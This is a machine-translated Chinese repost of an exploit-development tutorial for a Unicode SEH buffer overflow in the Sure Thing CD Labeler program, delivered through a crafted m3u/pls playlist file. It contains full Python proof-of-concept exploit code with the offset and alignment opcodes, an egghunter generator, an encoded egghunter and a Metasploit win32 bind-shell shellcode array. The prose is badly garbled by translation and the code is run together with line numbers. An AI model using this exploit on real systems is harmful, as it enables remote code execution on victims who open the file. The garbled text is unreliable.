作者:CK
博客:http://hi.baidu.com/chinacck/home
好让你可以利用EIP和SEH覆盖和你获得的这个相当简单的过程无聊... ...有一天你的模糊距离,然后boooom!you see:你看:
我要谈什么Unicode是短暂以及如何编写自定义的shellcode是Unicode的兼容执行您选择的代码。该技术是一种非常难学无PoC的利用工作,通过,所以我将提供一个例子来帮助演示了这些技术,同时呈现出常见的陷阱和如何避免它们。
得到自己一个漂亮的字符的独特模式。
这是什么的Unicode?
Unicode是没有什么更多的受限制的字符集(转换后),往往得到了包括0 × 00字节的原始字符串扩大。通常,这种类型转换字符集之前执行我们的攻击缓冲区入堆栈传递。 MultiByteToWideChar().申请之前,在堆栈上放置我们的攻击缓冲区的函数被调用MultiByteToWideChar()。这需要一些重要的参数,如类的代码页,使用(一般ANSI),从而决定了转换类型执行。
第1步-崩溃的应用程序:
通过解析的应用程序崩溃是恶意。M3U或。PLS文件中有一个大的字符串。受害人必须点击播放列表 - >导入播放从硬盘驱动器 - >导入播放列表从一个在我的电脑文件 - >选择文件通用mr3/pls然后终于打开文件的恶意m3u/pls。同样,如果做得正确,你会看到SEH处理程序与0 × 00410041覆盖。
第2步-确定补偿:
在什么时候做的应用程序崩溃?凡在我们的字符串缓冲区做我们的SEH处理程序的控制?让我们用pvefindaddr.py得到自己一个漂亮的字符的独特模式。
这种模式是应课税这里:C:\ Program Files文件\免疫公司\免疫调试器\ mspattern.txt。 一旦我们有我们的模式中,我们将其粘贴到我们的基本蟒蛇PoC的利用它:
#!/usr/bin/env python
# Exploit for sure thing cd labeler (m3u/pls)
# by mr_me
exploit = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A"..
attack = open('surething.m3u','w')
attack.write(exploit)
attack.close()
现在我们执行的利用并加载到应用程序的新的安全漏洞的文件。.从这里我们所要做的就是执行!pvefindaddr建议。
我们被告知的SEH处理程序,并认为它是Unicode的确切偏移!但必须记住,这种技术可以通过使用MSF的pattern_offset工具或填写这样我们的攻击字符串手动:<AAAABBBB>和工作了其中一半的SEH处理程序试图执行。这得到进一步收窄,直到我们达到我们的确切位置(这种方法需要很大的耐心)。
好所以现在我们知道,我们的偏移量是264,没有什么新的,直到这里了。
第3步-疼痛开始,寻找一个指令,将带我们回到堆栈:
首先,在试图寻找一个地址,让确定哪些模块SAFESEH保护,所以我们知道哪些以避免(即使pvefindaddr.py自动执行此反正知道它的好)。
好完美! 所以我们知道,CD贴标机是肯定的事不SAFESEH保护(stcd.exe核心模块不保护).. silly silly. tsk tsk.
现在我们需要找出这些可能说明任何一个有效的地址:
噗RET
ADD ESP 8,RETN
CALL DWORD PTR SS
最后一件事,我没有提到的是,你必须追加一个“PUSH EAX; RETN'的指令集,使我们可以回到我们的新的shellcode的位置堆栈。
指令/助记符 十六进制字节
push eax \x50
retn \xc3
阶段5 - 编码的shellcode:
所以现在好了,我们有有效载荷的空间和一个寄存器指向我们的有效载荷空间,我们可以开始编码了一些,希望能得到执行的shellcode。唯一的shellcode是可行的和值得使用的执行是一个egghunter有效载荷。任何通用的shellcode(完全编码)将是太大,我们使用。也许我们可以使用硬地址的shellcode(以减少空间的使用),但这会使PoC的不可靠。我们的使命是让PoC的非常可靠。我们如何为这样的unicode编码漏洞的shellcode?
我们将写一些很简单的代码来帮助我们:
01020304050607080910111213141516171819202122 #!/usr/bin/env python# egghunter gen by mr_me# outputs raw egg into a file# good for ascii/unicode encodingimportsys, os iflen(sys.argv) <2: print"\nUsage: "+sys.argv[0]+" <4 char tag>\n" sys.exit(0) iflen(sys.argv[1]) !=4: print"[-] Please provide a string that is four bytes exactly" sys.exit(0) egg_head="\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"egg_tail="\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" egghunter=egg_head+sys.argv[1]+egg_tailrawEgg=open('eh','w')rawEgg.write(egghunter)rawEgg.close()print"\n[+] Created raw egg in file: eh\n"
因此,这实质上是将输出到一个文件名为“EH”egghunter。现在我们用alpha3由编码器skylined某些Unicode编码的shellcode。
其结果是Unicode友好的shellcode @ 198基字节寄存器设置为EAX。
第6步 - 全部放在一起:
好让我们知道,正好是8个字节为我们的第一个垃圾缓冲区是我们的shellcode应该去。没问题,让我们的攻击字符串现在看:
[junk - 8 bytes][egghunter - 198 bytes][junk - 58 bytes][nseh][seh][align eax shellcode][junk - 300 bytes][heap junk]
POC的利用至今:
0102030405060708091011121314151617181920212223242526272829303132333435 #!/usr/bin/env python# Exploit for sure thing cd labeler (m3u/pls)# by mr_me egghunter=("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI""AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO""0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9WKO9WKPA"); exploit="\x41"*8exploit+=egghunterexploit+="\x41"*(264-len(exploit))# the difference left out of 264 bytesexploit+="\x41\x6d" # nseh - 'walk' over itself and seh (so we dont upset anything)exploit+="\x72\x73" # SEHexploit+="\x58" # pop eaxexploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x58" # pop eaxexploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x58" # pop eaxexploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x58" # pop eaxexploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x05\x01\x11"# add eax, 11000100exploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x2d\x03\x11"# sub eax, 11000300exploit+="\x6d" # nop/align - becomes add byte ptr [ebp],chexploit+="\x50" # push eaxexploit+="\x6d" # nop/align - bocomes add byte ptr [ebp],chexploit+="\xc3" # retn - get back to the stack and execute our shellcodeexploit+="\x42"*400 # stack junkexploit+="w00tw00t" # egghunter tag (in heap memory)exploit+="\xcc"*1000 # software break points (test if we land here, in heap memory) attack=open('surething.m3u','w')attack.write(exploit)attack.close()
让执行这个,看我们如何去:
哇!所以我们可以看到,我们打我们的软件破发点!经过进一步使用测试'!pvefindaddr比较“(写入到一个文件中的shellcode)和手动挖坏字符我们可以看到,我们的shellcode命中堆内存未修改!
所以忘记不必再进行编码,我们可以把标签后w00tw00t几乎所有的shellcode,它会执行。让我们用一些真正的shellcode:
01020304050607080910111213141516171819202122232425262728293031323334353637383940414243444546474849 # win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum#http://metasploit.com unsigned char bind[] ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49""\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36""\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34""\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41""\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e""\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58""\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47""\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58""\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38""\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a""\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30""\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57""\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58""\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30""\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c""\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44""\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50""\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f""\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33""\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f""\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f""\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50""\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d""\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45""\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f""\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38""\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55""\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d""\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d""\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38""\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35""\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37""\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56""\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56""\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54""\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54""\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53""\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51""\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35""\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35""\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c""\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f""\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f""\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e""\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";
结果... ...
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!